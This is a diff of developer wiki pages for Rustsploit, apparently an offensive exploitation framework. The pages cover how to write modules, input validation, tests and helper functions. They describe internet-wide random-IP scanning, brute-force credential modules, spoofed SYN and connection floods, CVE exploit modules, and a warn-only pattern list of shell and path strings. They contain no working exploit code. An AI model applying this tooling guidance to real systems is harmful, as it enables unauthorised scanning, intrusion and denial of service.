│ │ ├── exploit.rs
│ │ ├── exploit_gen.rs # build.rs output
│ │ ├── scanner.rs
│ │ ├── scanner_gen.rs # build.rs output
│ │ ├── creds.rs
│ │ └── creds_gen.rs # build.rs output
│ ├── modules/
│ │ ├── exploits/ # Exploit modules
│ │ ├── scanners/ # Scanner modules
│ │ └── creds/ # Credential modules
│ └── utils.rs # Shared helpers — normalization, prompts, validation
├── docs/ # This wiki
├── lists/ # Wordlists and data files
└── README.md # Product overview
```
---
## Required Module Signature
Every module **must** export:
```rust
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
// ...
Ok(())
}
```
Optional: also expose `pub async fn run_interactive(target: &str) -> Result<()>` for modules with multiple code paths.
---
## Adding a New Module — Checklist
1. **Choose a location** under `src/modules/{exploits,scanners,creds}`.
Use subfolders for vendor families (e.g., `exploits/cisco/`).
2. **Create the `.rs` file** with the required `pub async fn run` signature.
3. **Register in `mod.rs`** — add `pub mod your_module;` to the sibling `mod.rs`.
Without this, `build.rs` ignores the file.
4. **Run `cargo check`** — the dispatcher is regenerated automatically.
---
## Module Skeleton
```rust
use anyhow::{Context, Result};
use colored::Colorize;
use crate::utils::normalize_target;
pub async fn run(target: &str) -> Result<()> {
let target = normalize_target(target)?;
println!("{} Checking {}", "[*]".cyan(), target);
let url = format!("http://{}/status", target);
let body = reqwest::get(&url)
.await
.with_context(|| format!("Failed to reach {}", url))?
.text()
.await
.context("Failed to read response body")?;
if body.contains("vulnerable") {
println!("{} {} appears vulnerable", "[+]".green(), target);
} else {
println!("{} {} not vulnerable", "[-]".red(), target);
}
Ok(())
}
```
---
## Output Conventions
| Prefix | Color | Meaning |
|--------|-------|---------|
| `[+]` | Green | Success / found |
| `[-]` | Red | Not found / not vulnerable |
| `[!]` | Yellow | Warning |
| `[*]` | Cyan | Info / progress |
Use `.green()`, `.red()`, `.yellow()`, `.cyan()` from the `colored` crate. Keep messages short and actionable.
---
## Async I/O Guidelines
- Prefer `reqwest`, `tokio::net`, `tokio::process` for async work.
- Wrap synchronous blocking calls with `tokio::task::spawn_blocking` (see the SSH module for reference).
- For concurrency:
- `tokio::sync::Semaphore` (wrapped in `Arc`) for async modules.
- `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3).
---
## Error Handling
Bubble up errors using `anyhow::Context` so the shell/CLI surface meaningful messages:
```rust
.with_context(|| format!("Failed to connect to {}", target))?
```
Avoid `unwrap()` and `unwrap_or_default()` in critical paths.
---
## Wordlists & Resources
Store under `lists/` and document them in `lists/readme.md`. Reference paths relative to the working directory.
---
## 0.0.0.0/0 Internet-Wide Scanning
Modules supporting mass-scan accept `0.0.0.0`, `0.0.0.0/0`, or `random` as targets. When detected, the module enters an infinite loop generating random public IPs using:
```rust
fn generate_random_public_ip() -> Ipv4Addr { ... }
fn is_excluded_ip(ip: Ipv4Addr) -> bool { ... }
```
The `EXCLUDED_RANGES` constant covers bogons, private, reserved, documentation CIDRs, and public DNS servers. Copy this pattern from an existing mass-scan module (e.g., `telnet_hose` or `hikvision_rce`).
Honeypot detection is disabled in mass-scan mode to avoid interactive prompts.
docs/Security-Validation.md
+158
View File
@@ -0,0 +1,158 @@
# Security & Input Validation
Rustsploit implements defence-in-depth throughout the codebase. All contributors must follow these patterns when writing modules or modifying core code.
---
## Validation Constants
| File | Constant | Value | Purpose |
|------|----------|-------|---------|
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
| `shell.rs` | `MAX_TARGET_LENGTH` | 512 | Maximum target string length |
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
| `shell.rs` | `MAX_PROXY_LIST_SIZE` | 10,000 | Maximum proxy entries |
| `utils.rs` | `MAX_FILE_SIZE` | 10 MB | Maximum file size to read |
| `utils.rs` | `MAX_PROXIES` | 100,000 | Maximum proxies to process |
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1 MB | API request body limit |
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
---
## Security Patterns
### 1. Input Length Validation
```rust
if input.len() > MAX_INPUT_LENGTH {
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
}
```
### 2. Control Character Rejection
Only null bytes (`\0`) are stripped — other control characters pass through as literal text to preserve payload compatibility (e.g., ANSI escapes for exploit payloads):
```rust
// Strip only null bytes — all other characters are passed as literal text
let sanitized = input.replace('\0', "");
```
If suspicious patterns (`bash`, `sudo`, `../`) are detected, a warning is printed but the string is still returned unmodified:
```
[!] Input contains shell/path patterns. Treated as literal text string.
```
### 3. Path Traversal Prevention
```rust
if input.contains("..") || input.contains("//") {
return Err(anyhow!("Path traversal detected"));
}
```
### 4. Target / Hostname Validation
Always use the framework's `normalize_target` function:
```rust
use crate::utils::normalize_target;
let normalized = normalize_target(raw_target)?;
// Handles IPv4, IPv6, hostnames, URLs, CIDR with full validation
```
For custom character validation:
```rust
use regex::Regex;
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
if !valid_chars.is_match(target) {
return Err(anyhow!("Invalid characters in target"));
}
```
### 5. Overflow Protection
```rust
// Use saturating_add to prevent integer overflow
counter = counter.saturating_add(1);
```
### 6. Prompt Attempt Limiting
```rust
const MAX_ATTEMPTS: u8 = 10;
let mut attempts = 0u8;
loop {
attempts += 1;
if attempts > MAX_ATTEMPTS {
println!("Too many invalid attempts. Using default.");
return Ok(default);
}
// prompt logic
}
```
### 7. File Operations
When reading files:
1. Validate path does not contain `..`
2. Use `canonicalize()` to resolve the real path
3. Check file size before reading (ref: `MAX_FILE_SIZE`)
4. Skip symlinks for security
---
## API Security
The API server (`api.rs`) implements:
- **`RequestBodyLimitLayer`** — prevents DoS via oversized payloads (1 MB max)
- **Rate limiting** — 3 failed auth attempts → 30 s block per IP
- **Auto-cleanup** — old entries purged at 100,000 entries
- **IP tracking + key rotation** — suspicious activity triggers auto-rotation in hardening mode
- **Secure defaults** — by default, considers `127.0.0.1` as the intended private bind
---
## Honeypot Detection
The framework automatically runs `basic_honeypot_check` before any module execution when a target is set.
- Scans **200 common ports** with a 250 ms timeout each
- If **11 or more** ports respond, warns that the target is likely a honeypot
- Runs automatically in the shell's `run` and `run_all` commands
- Can be called manually from module code:
```rust
use crate::utils::basic_honeypot_check;
basic_honeypot_check(&ip).await;
```
---
## IP Exclusion Ranges (`EXCLUDED_RANGES`)
Standard across mass-scan capable modules (e.g., `camxploit`, `telnet_hose`, `telnet_bruteforce`, exploit modules with 0.0.0.0/0 support):
| CIDR | Category |
|------|----------|
| `10.0.0.0/8` | Private |
| `127.0.0.0/8` | Loopback |
| `172.16.0.0/12` | Private |
| `192.168.0.0/16` | Private |
| `224.0.0.0/4` | Multicast |
| `240.0.0.0/4` | Reserved |
| `0.0.0.0/8` | This network |
| `100.64.0.0/10` | Carrier-grade NAT |
| `169.254.0.0/16` | Link-local |
| `198.18.0.0/15` | Benchmarking |
| `198.51.100.0/24` | Documentation |
| `203.0.113.0/24` | Documentation |
| `255.255.255.255/32` | Broadcast |
| Public DNS | 1.1.1.1, 8.8.8.8, etc. |
Uses the `ipnetwork` crate for proper CIDR matching.
docs/Testing-QA.md
+124
View File
@@ -0,0 +1,124 @@
# Testing & QA
Guidelines for verifying that new modules and framework changes are correct.
---
## Static Checks
Run before every commit or PR:
```bash
# Format code
cargo fmt
# Lint (use where available)
cargo clippy
# Compile check (fast, no linking)
cargo check
```
A clean `cargo check` with **0 errors and 0 warnings** is required.
---
## Build Verification
```bash
cargo build
```
`build.rs` regenerates the dispatchers (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) during compilation. If a new module fails to register, ensure `pub mod your_module;` is present in the sibling `mod.rs`.
---
## Runtime Smoke Tests
### Shell
```bash
cargo run
# Inside the shell:
modules # Verify new module appears in list
find <keyword> # Verify keyword search works
u scanners/sample_scanner
set target 127.0.0.1
go # Runs the sample scanner against localhost
```
### CLI
```bash
cargo run -- --command scanner --module sample_scanner --target 127.0.0.1
cargo run -- --list-modules # Verify your module is listed
```
### API
```bash
# Start the server
cargo run -- --api --api-key test-key
# Check your module appears
curl -H "Authorization: Bearer test-key" http://localhost:8080/api/modules | grep your_module
```
---
## Unit Tests
Run all unit tests:
```bash
cargo test
```
Module-level tests can be added inline:
```rust
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_parse_response() {
let output = parse_response(b"some payload");
assert!(output.is_some());
}
}
```
For async tests:
```rust
#[tokio::test]
async fn test_async_behavior() {
// ...
}
```
---
## Wordlist Validation
Before adding a module that depends on wordlists:
1. Confirm the file exists under `lists/`
2. Reference the path in docstrings or `lists/readme.md`
3. Validate it is non-empty at runtime and handle the empty case gracefully
---
## Regression Notes
| Area | What to verify |
|------|----------------|
| New cred module | Correct concurrency model, DNS resolved once (not per attempt) |
| New exploit | Response validated before declaring success, artifacts written to CWD |
| New scanner | Outputs parseable results, status codes filtered correctly |
| Mass-scan module | `EXCLUDED_RANGES` applied, no private/bogon IPs targeted |
| API change | `cargo check` clean, endpoint documented in [API Server](API-Server.md) |
| Utils change | All prompt helpers still compile, no dead code warnings |
---
## Known Disabled / Stubbed Code
| Module | Status | Reason |
|--------|--------|--------|
| `scanners/dns_recursion` | ✅ Fixed | Rewritten for hickory-client v0.25 (`AsyncClient` → `Client`, builder pattern + `TokioRuntimeProvider`) |
docs/Utilities-Helpers.md
+131
View File
@@ -0,0 +1,131 @@
# Utilities & Helpers
`src/utils.rs` provides shared helpers used across shells, CLI, API, and modules. Prefer these over rolling your own to ensure consistent validation and behavior.
---
## Target Normalization
### `normalize_target(raw: &str) -> Result<String>`
Comprehensive target normalization and validation. Accepts:
| Input | Example |
|-------|---------|
| IPv4 | `192.168.1.1` |
| IPv4 + port | `192.168.1.1:8080` |
| IPv6 | `::1`, `2001:db8::1` |
| IPv6 + port | `[::1]:8080` |
| Hostname | `example.com`, `example.com:443` |
| URL | `http://example.com:8080` (extracts host:port) |
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
Validates against: DoS-length abuse, control characters, path traversal patterns.
```rust
use crate::utils::normalize_target;
let target = normalize_target(raw_input)?;
```
### `extract_ip_from_target(target: &str) -> Result<String>`
Extracts the IP address or hostname from a normalized target string, stripping ports, brackets, and CIDR notation.
---
## Honeypot Detection
### `basic_honeypot_check(ip: &str) -> ()`
Scans 200 common ports with a 250 ms timeout per port. Prints a warning if 11 or more respond.
Runs automatically before module execution in the shell. Call manually in module code if needed:
```rust
use crate::utils::basic_honeypot_check;
basic_honeypot_check(&ip).await;
```
---
## Prompt Helpers
All prompts use `read_safe_input` internally, which enforces `MAX_COMMAND_LENGTH`, strips null bytes, and warns on suspicious patterns without blocking.
| Function | Description |
|----------|-------------|
| `prompt_input(msg)` | Generic string input (empty allowed) |
| `prompt_required(msg)` | String input — loops until non-empty |
| `prompt_default(msg, default)` | String input with fallback default |
| `prompt_yes_no(msg, default)` | Boolean prompt — returns `bool` |
| `prompt_port(msg, default)` | Port number prompt — validates 1–65535 |
```rust
use crate::utils::{prompt_input, prompt_required, prompt_default, prompt_yes_no, prompt_port};
let host = prompt_required("Target host: ")?;
let port = prompt_port("Port", 22)?;
let verbose = prompt_yes_no("Verbose output?", false)?;
```
---
## Module Discovery
| Function | Description |
|----------|-------------|
| `module_exists(name)` | Check if a module name is registered |
| `list_all_modules()` | Returns all registered module paths |
| `find_modules(keyword)` | Fuzzy search modules by keyword |
Used by the shell's `modules`, `find`, and `use` commands. Also used for fuzzy match suggestions (e.g., `sample_xploit` → `sample_exploit`).
---
## File Helpers
When reading files in modules, follow this pattern:
```rust
use std::path::Path;
fn safe_read_file(path: &str) -> Result<String> {
// 1. Check for traversal
if path.contains("..") {
return Err(anyhow!("Path traversal detected"));
}
// 2. Canonicalize
let real = Path::new(path).canonicalize()?;
// 3. Check size
let meta = std::fs::metadata(&real)?;
if meta.len() > MAX_FILE_SIZE {
return Err(anyhow!("File too large"));
}
// 4. Skip symlinks
if meta.file_type().is_symlink() {
return Err(anyhow!("Symlinks not allowed"));
}
Ok(std::fs::read_to_string(real)?)
}
```
---
## Constants
| Constant | Value | File |
|----------|-------|------|
| `MAX_FILE_SIZE` | 10 MB | `utils.rs` |
| `MAX_PROXIES` | 100,000 | `utils.rs` |
| `MAX_COMMAND_LENGTH` | (see source) | `utils.rs` |
---
## Extending Utils
Add new reusable helpers to `utils.rs` rather than copy-pasting into individual modules. Common candidates:
- Credential loaders (stream a wordlist in chunks)
- HTTP header templates
- Response fingerprinting helpers
- Common error formatters
docs/readme.md
+23 -479
View File
@@ -1,483 +1,27 @@
# Rustsploit Developer Guide
# Rustsploit Developer Guide
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, and authoring guidelines for exploits, scanners, and credential modules.
> ⚠️ **This file has been superseded by the new wiki documentation.**
> Please use the links below for up-to-date information.
---
## Table of Contents
1. [Project Overview](#project-overview)
2. [Code Layout](#code-layout)
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
4. [Shell Architecture](#shell-architecture)
6. [Command-Line Interface](#command-line-interface)
7. [Security & Input Validation](#security--input-validation)
8. [Authoring Modules](#authoring-modules)
9. [Credential Modules: Best Practices](#credential-modules-best-practices)
10. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
11. [Utilities & Helpers](#utilities--helpers)
12. [Testing & QA](#testing--qa)
13. [Roadmap & Ideas](#roadmap--ideas)
---
## Project Overview
Rustsploit is a Rust-first re-imagining of RouterSploit:
- Async-native (Tokio) for scalable brute forcing and network IO
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
- Interactive shell + CLI runner referencing the same dispatch layer
- IPv4/IPv6-friendly: target normalization happens uniformly
- Carefully colored, concise output designed for operators on remote consoles
---
## Code Layout
```text
rustsploit/
├── Cargo.toml
├── build.rs # Generates dispatcher code by scanning src/modules
├── src/
│ ├── main.rs # Entry point, selects CLI or shell mode (includes input validation)
│ ├── cli.rs # Clap-based CLI parser and dispatcher
│ ├── shell.rs # Interactive shell loop + UX helpers (includes sanitization)
│ ├── api.rs # REST API server with auth, rate limiting, and security
│ ├── config.rs # Global configuration with target validation
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
│ │ ├── mod.rs
│ │ ├── exploit.rs
│ │ ├── exploit_gen.rs # build.rs output
│ │ ├── scanner.rs
│ │ ├── scanner_gen.rs # build.rs output
│ │ ├── creds.rs
│ │ └── creds_gen.rs # build.rs output
│ ├── modules/ # Fully auto-discovered attack modules
│ │ ├── exploits/
│ │ ├── scanners/
│ │ └── creds/
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, validation)
├── docs/
│ └── readme.md # This document
├── lists/
│ ├── readme.md # Wordlist + data file catalogue
│ ├── rtsp-paths.txt
│ ├── rtsphead.txt
│ └── telnet-default/ # Default telnet credentials
└── README.md # Product overview
```
Key takeaway: modules are just Rust files under `src/modules/**`. Add `pub mod my_module;` in the local `mod.rs`, and the build script handles the rest.
---
## Build Pipeline & Module Discovery
1. **`build.rs` scan:** Before compilation, build.rs walks `src/modules` (depth-limited) looking for `.rs` files that are not `mod.rs`.
2. **Signature detection:** If a file exposes `pub async fn run(`, it is treated as a callable module.
3. **Name generation:** Both a *short name* (`ssh_bruteforce`) and *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
4. **Dispatcher emission:** Three files (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) are emitted with exhaustive `match` statements that map names → `use crate::modules::...::run`.
5. **Shell + CLI usage:** When users invoke `use exploits/foo` or `--module foo`, the dispatcher resolves the actual function.
Because the dispatcher is generated at build time, there is no manual registry drift as long as modules live in the right folder and export `run`.
---
## Shell Architecture
The shell lives in `src/shell.rs`. Highlights:
- **Context:** `ShellContext` stores `current_module`, `current_target`.
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
- **Command palette:** `render_help()` prints a colorized table for quick reference.
- **Run pipeline:** On `run`/`go`, the shell enforces:
- Module selected
- Target set
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
### Command Chaining
The shell supports command chaining via the `&` separator, allowing multiple commands to be executed in a single line:
```bash
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
```
Commands are parsed and executed sequentially from left to right. This is useful for scripting workflows or quick module setup.
---
## Command-Line Interface
`src/cli.rs` uses Clap to expose three commands:
- `--command exploit|scanner|creds`
- `--module <name>` (short or qualified, same mapping as the shell)
- `--target <host|IP>`
- `--list-modules` (list all available modules)
- `--verbose` (enable detailed logging)
- `--output-format <text|json>` (control output format)
Example:
```bash
cargo run -- --command exploit --module heartbleed --target 203.0.113.12
```
If the module needs additional parameters, it can prompt interactively (e.g., brute-force modules ask for wordlists even in CLI mode). For automated pipelines, modules should provide sensible defaults or accept environment variables.
---
## Security & Input Validation
RustSploit implements comprehensive security measures throughout the codebase. When contributing, follow these guidelines:
### Input Validation Constants
Located across core modules, these constants enforce safe limits:
| File | Constant | Value | Purpose |
|------|----------|-------|---------|
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
| `shell.rs` | `MAX_TARGET_LENGTH` | 512 | Maximum target string length |
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
| `shell.rs` | `MAX_PROXY_LIST_SIZE` | 10,000 | Maximum proxy entries |
| `utils.rs` | `MAX_FILE_SIZE` | 10MB | Maximum file size to read |
| `utils.rs` | `MAX_PROXIES` | 100,000 | Maximum proxies to process |
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1MB | API request body limit |
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
### Security Patterns
When writing modules or core code, follow these patterns:
#### 1. Input Length Validation
```rust
if input.len() > MAX_INPUT_LENGTH {
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
}
```
#### 2. Control Character Rejection
```rust
if input.chars().any(|c| c.is_control()) {
return Err(anyhow!("Input cannot contain control characters"));
}
```
#### 3. Path Traversal Prevention
```rust
if input.contains("..") || input.contains("//") {
return Err(anyhow!("Path traversal detected"));
}
```
#### 4. Hostname/Target Validation
```rust
// Use the framework's normalize_target function for comprehensive validation
use crate::utils::normalize_target;
let normalized = normalize_target(raw_target)?;
// This handles IPv4, IPv6, hostnames, URLs, CIDR notation with full validation
```
For manual validation:
```rust
use regex::Regex;
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
if !valid_chars.is_match(target) {
return Err(anyhow!("Invalid characters in target"));
}
```
#### 5. Overflow Protection
```rust
// Use saturating_add to prevent overflow
counter = counter.saturating_add(1);
```
#### 6. Prompt Attempt Limiting
```rust
const MAX_ATTEMPTS: u8 = 10;
let mut attempts = 0;
loop {
attempts += 1;
if attempts > MAX_ATTEMPTS {
println!("Too many invalid attempts. Using default.");
return Ok(default);
}
// ... prompt logic
}
```
### API Security
The API server (`api.rs`) implements:
- **Request Body Limiting:** `RequestBodyLimitLayer` prevents DoS via large payloads
- **Rate Limiting:** 3 failed auth attempts = 30 second block
- **Auto-cleanup:** Old entries purged when limits exceeded
- **IP Tracking:** With automatic rotation when suspicious activity detected
- **Secure Defaults:** API binds to `127.0.0.1` by default to prevent accidental exposure
- **2FA/TOTP:** Optional Time-based One-Time Password enforcement (`--harden-totp`) with interactive setup wizard (`--setup-totp`)
### File Operations
When reading files, always:
1. Validate the path doesn't contain `..`
2. Use `canonicalize()` to resolve the real path
3. Check file size before reading
4. Skip symlinks for security
### Honeypot Detection
The framework automatically runs honeypot detection before module execution when a target is set. The `basic_honeypot_check` function in `utils.rs`:
- Scans 200 common ports with 250ms timeout per port
- If 11+ ports are open, warns that the target is likely a honeypot
- Runs automatically in the shell's `run` and `run_all` commands
- Can be called manually: `utils::basic_honeypot_check(&ip).await`
This helps operators identify potentially deceptive targets before spending time on them.
---
## Authoring Modules
Every module must export:
```rust
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
// ...
Ok(())
}
```
Guidelines:
1. **Location:** choose one of `src/modules/{exploits,scanners,creds}`. Use subfolders for vendor families (e.g., `exploits/cisco/`).
2. **`mod.rs`:** add `pub mod your_module;` in the sibling `mod.rs`. Without this, the build script ignores the file.
3. **Async I/O:** prefer `reqwest`, `tokio::net`, `tokio::process`, etc. Synchronous blocking code should be wrapped with `tokio::task::spawn_blocking` where possible (see SSH module).
4. **Logging:** leverage `colored` for clarity, but keep messages short and actionable. Use `[+]`, `[-]`, `[!]`, `[*]` prefixes consistently.
5. **Error handling:** bubble up with context (`anyhow::Context`) so the shell/CLI surface meaningful errors.
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
### skeleton
```rust
use anyhow::{Context, Result};
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking {}", target);
let url = format!("http://{}/status", target);
let body = reqwest::get(&url)
.await
.with_context(|| format!("failed to reach {}", url))?
.text()
.await
.context("failed to fetch body")?;
if body.contains("vulnerable") {
println!("[+] {} appears vulnerable", target);
} else {
println!("[-] {} not vulnerable", target);
}
Ok(())
}
```
---
## Credential Modules: Best Practices
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
- **Concurrency:**
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH, MQTT).
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
- **Error classification:** Implement comprehensive error types (ConnectionFailed, AuthenticationFailed, Timeout, etc.) for better debugging and reporting.
- **Memory management:** For large wordlists (>150MB), implement streaming mode to prevent memory exhaustion (see RDP module for reference).
- **Timing Attacks:** When implementing user enumeration, use statistical analysis (samples/variance) rather than simple thresholds to account for network jitter (see SSH User Enum module).
- **Protocol compliance:** Implement full protocol support where applicable (e.g., Telnet IAC negotiation, MQTT 3.1.1).
- **FTP Bruteforce Enhancements**:
- 5 Operation Modes: Single Target, Subnet (CIDR), Batch Scanner, Quick Default Check, Subnet Default Check
- JSON configuration system with load/save/validation
- 32 utility functions (streaming wordlists, JSON/CSV export, network intelligence)
- Framework `normalize_target()` integration
- **L2TP/IPsec Module**:
- Multi-platform: strongswan, xl2tpd, pppd, NetworkManager (Linux), rasdial (Windows), networksetup (macOS)
- Proper IPsec Phase 1/2 and L2TP session management
- L2TPv2 packet crafting with AVP encoding
### Recent Module Enhancements
- **CVE-2026-24061 Exploit**:
- GNU inetutils-telnetd Remote Authentication Bypass via `NEW_ENVIRON`
- Automated payload execution and interactive shell session
- Mass-scan support with multi-port parallelization and exclusion ranges
- Verified logic for IAC (Interpret As Command) telnet negotiation
- **Telnet Module**:
- Full IAC (Interpret As Command) negotiation with proper option handling
- Enhanced error classification with specific error types
- Verbose mode for quick checks with detailed attempt reporting
- Improved buffer handling using `BytesMut` with size limits
- **RDP Module**:
- Streaming failover for password files >150MB
- Comprehensive error classification with 8 error types
- Multiple security level support (Auto, NLA, TLS, RDP, Negotiate)
- Command injection prevention via argument sanitization
- **MQTT Module**:
- Full MQTT 3.1.1 protocol implementation
- Proper variable-length encoding and UTF-8 string encoding
- CONNACK response parsing with error classification
- **SSH User Enumeration**:
- Implements timing-based enumeration inspired by CVE-2018-15473
- Statistical analysis using standard deviation to identify valid users
- precise `tokio::time::Instant` measurements for authentication attempts
- **Directory Bruteforcer**:
- `DirBruteConfig` struct handles comprehensive settings (extensions, status codes, threads)
- Recursive scanning logic with depth control
- Custom `Client` configuration for optimized throughput
- Interactive setup wizard `setup_wizard` guides users through configuration
- **Sequential Fuzzer**:
- Supports versatile payload placement (URL, Header, Body)
- `EncodingType` enum supports 10+ encoding schemes including Double URL and Hex
- Base-N counting algorithm for exhaustive iteration without memory overhead
- Modular `charset` selection (SQL, Traversal, Command Injection)
- **API Endpoint Scanner**:
- Full-featured vulnerability scanner supporting SQLi, NoSQLi, Command Injection, and Path Traversal
- Extended HTTP method support (CONNECT, TRACE, DEBUG, PUT, DELETE, etc.)
- ID Enumeration module for finding resource leaks
- Endpoint discovery via wordlist enumeration
- Concurrent scanning with results filed by endpoint
- **DoS / Stress Testing Optimizations**:
- **Null SYN Exhaustion**: Rewritten for high-performance using native OS threads, zero-allocation loops, and custom thread-local XorShift128+ RNG. Capable of >1M PPS. IP spoofing with per-packet random source IPs.
- **TCP Connection Flood**: Optimized with DNS pre-resolution, counter-based error sampling, infinite mode support (`duration=0`), and efficient address sharing to maximize connection rate.
- **Connection Exhaustion Flood**: FD-bounded semaphore design caps local file descriptors while exhausting the target's connection table/TIME_WAIT slots. Supports infinite mode with graceful Ctrl+C shutdown.
- **Camxploit Mass Scan Enhancements**:
- Masscan-style parallel port scanning with semaphore-based concurrency (default 200 threads)
- EXCLUDED_RANGES: 16 CIDR ranges excluded (bogons, private, reserved, documentation, public DNS)
- Service filtering: Hosts with only SSH/Telnet/RDP ports are skipped automatically
- Time-based progress reporting and output file for discovered cameras
- **IP Exclusion Ranges (EXCLUDED_RANGES pattern)**:
- Standardized across `camxploit`, `telnet_bruteforce`, and exploit modules
- Uses `ipnetwork` crate for proper CIDR matching
- Covers: 10.0.0.0/8, 127.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 224.0.0.0/4, 240.0.0.0/4, 0.0.0.0/8, 100.64.0.0/10, 169.254.0.0/16, 198.18.0.0/15, 198.51.100.0/24, 203.0.113.0/24, 255.255.255.255/32, plus public DNS (1.1.1.1, 8.8.8.8, etc.)
- **New Exploit Modules**:
- **SharePoint**: CVE-2024-38094 (Deserialization RCE)
- **MongoBleed**: CVE-2025-14847 (Memory Disclosure) with mass-scan and deep-scan modes
- **TP-Link VIGI**: CVE-2026-1457 (Authenticated RCE)
- **Telnet**: CVE-2026-24061 (Auth Bypass)
- **Windows DWM**: CVE-2026-20805 (Info Disclosure)
- **Geth (Go-Ethereum)**: CVE-2026-22862 (DoS via Ecies Panic)
- **Termix**: CVE-2026-22804 (Stored XSS)
- **FortiCloud SSO**: CVE-2026-24858 (Auth Bypass)
- **Ruijie Series**: 7 new modules covering RCE, Auth Bypass, and SSRF
- **Framework Core Enhancements**:
- **Mass Scan Standardization**: All mass-scan capable modules now accept `0.0.0.0`, `0.0.0.0/0`, or `random` targets and offer consistent private range exclusion prompts.
- **Stability**: Removed all `unwrap()` and `unwrap_or_default()` calls from critical paths for crash-free operation.
- **Architecture**: Fixed design flaws in API worker threading (moved to `spawn_blocking`) and consolidated validation logic.
---
## Exploit Modules: Best Practices
- **CVE referencing:** mention CVE IDs and vendor/product in comments and output.
- **Artifact handling:** If the exploit downloads or writes files (e.g., Heartbleed dump), store them in the current working directory or a named subfolder.
- **Clean-up:** If credentials or accounts are added (Abus camera module), explain the impact and clean-up instructions in output or comments.
- **Safety checks:** Validate responses before declaring success; false positives hurt credibility.
- **Options:** Use `prompt_*` helpers (borrow from existing modules) if end-user input is needed (e.g., RTSP advanced headers, extra path lists).
---
## Utilities & Helpers
`src/utils.rs` provides:
- **`normalize_target`**: Comprehensive target normalization supporting:
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
- Hostnames: `example.com`, `example.com:443`
- URLs: `http://example.com:8080` (extracts host:port)
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
Includes comprehensive validation (DoS prevention, path traversal protection, format validation).
- **`extract_ip_from_target`**: Extracts IP address or hostname from normalized target strings, handling ports, brackets, and CIDR notation.
- **`basic_honeypot_check`**: Framework-level honeypot detection that scans 200 common ports. If 11+ ports are open, warns that the target is likely a honeypot. This runs automatically before module execution when a target is set.
- **`module_exists` / `list_all_modules` / `find_modules`**: Used by shell to present module inventory.
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
---
## Testing & QA
1. **Static checks:** `cargo fmt` and `cargo clippy` (where available).
2. **Build:** `cargo check` ensures new modules compile.
3. **Runtime smoke tests:**
- Shell: `cargo run` → `modules` → run a harmless module (e.g., `scanners/sample_scanner`).
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
---
## Roadmap & Ideas
- Interactive shell improvements (history, tab completion, colored banners)
- Automated module testing harness (mock servers for POP3/SMTP/RTSP)
- Credential module templates (derive-style macros for common prompts)
- Integration with external wordlists (dynamic download or git submodules)
- Session logging (`tee` support) and output JSON export for pipeline ingestion
